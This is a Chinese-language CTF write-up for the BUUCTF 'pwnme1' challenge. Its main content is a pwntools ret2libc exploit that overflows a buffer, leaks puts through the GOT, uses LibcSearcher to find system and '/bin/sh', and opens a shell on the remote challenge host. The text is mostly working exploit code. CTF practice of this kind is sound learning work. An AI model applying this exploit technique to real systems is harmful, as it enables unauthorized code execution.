image.png
    checksec，发现保护都没有
    ida当中是有个后门函数的
    image.png
    但是这路径是不对的，buu上是没有这个flag文件的
    所以换其他的思路，因为保护没有开所以还是比较好打的

    1. from pwn import*
    2. from LibcSearcher import* 
    3. context.log_level='debug'
    4. #io = process('./pwnme1')
    5. io = remote('node4.buuoj.cn',25983)
    6. libc =ELF("libc-2.232.so")
    7. elf = ELF('./pwnme1')
    8. puts_plt = elf.plt['puts']
    9. puts_got = elf.got['puts']
    10. address = 0x08048624
    11. abc = 0x0804865E
    12. payload = b'a'*168+p32(puts_plt)+p32(address)+p32(puts_got)
    14. io.recvuntil(">> 6. Exit ")
    15. io.sendline("5")
    16. #gdb.attach(io)
    18. io.sendline(payload)
    19. puts_addr = u32(io.recvuntil('\xf7')[-4:])
    20. log.success("puts_addr:"+hex(puts_addr))
    21. libc = LibcSearcher("puts",puts_addr)
    22. libcbase = puts_addr-libc.dump('puts')
    23. system_addr = libcbase+libc.dump("system")
    24. bin_sh_addr =libcbase+libc.dump("str_bin_sh")
    25. log.success("libcbase:"+hex(libcbase))
    26. # system_addr= libcbase +libc.sym["system"]
    27. # bin_sh_addr =libcbase+0x0015902c
    28. # one_gadget =[0x3a80c,0x3a80e,0x3a812,0x3a819,0x5f065,0x5f066]
    29. #payload = b'a'*168+p32(libcbase+one_gadget[])
    30. #io.recvuntil('Please input the name of fruit:')
    31. #pause()
    33. payload =b'a'*168+p32(system_addr)+p32(address)+p32(bin_sh_addr)
    34. io.sendline(payload)
    35. io.interactive()

    one_gadget我试了试没怎么打通